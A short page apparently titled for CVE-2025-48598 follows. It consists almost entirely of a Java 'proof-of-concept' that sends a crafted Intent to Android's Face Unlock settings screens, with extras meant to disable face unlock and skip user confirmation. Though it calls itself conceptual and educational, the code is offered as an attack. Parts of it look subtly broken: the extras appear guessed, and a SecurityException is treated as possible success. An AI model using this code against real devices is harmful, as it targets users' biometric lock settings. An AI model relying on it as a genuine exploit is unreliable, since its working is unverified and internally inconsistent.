CVE-2025-48598

// CVE-2025-48598 PoC - Face Unlock Settings Manipulation // This is a conceptual proof-of-concept for educational purposes only // Attack Vector: Physical access + malicious app installation // Target: Android Settings app on vulnerable devices // Step 1: Identify vulnerable Settings components String[] vulnerableComponents = { "com.android.settings/.FaceSettings", "com.android.settings/.Settings$FaceSettingsActivity", "com.android.settings/.Settings$FaceEnrollIntroActivity" }; // Step 2: Construct malicious Intent to modify Face Unlock settings Intent maliciousIntent = new Intent(); maliciousIntent.setComponent(new ComponentName( "com.android.settings", "com.android.settings.FaceSettings" )); maliciousIntent.setAction("android.settings.FACE_SETTINGS"); maliciousIntent.putExtra("enable_face_unlock", false); // Disable face unlock maliciousIntent.putExtra("skip_confirmation", true); // Bypass user confirmation // Step 3: Trigger the attack (requires physical access or installed app) try { startActivity(maliciousIntent); } catch (SecurityException e) { // On vulnerable devices, this may succeed unexpectedly Log.d("CVE-2025-48598", "Attack attempt: " + e.getMessage()); } // Note: Actual exploitation requires specific conditions: // 1. Physical access to unlocked device, OR // 2. Installation of malicious app with some permissions // 3. Target device running affected Android version

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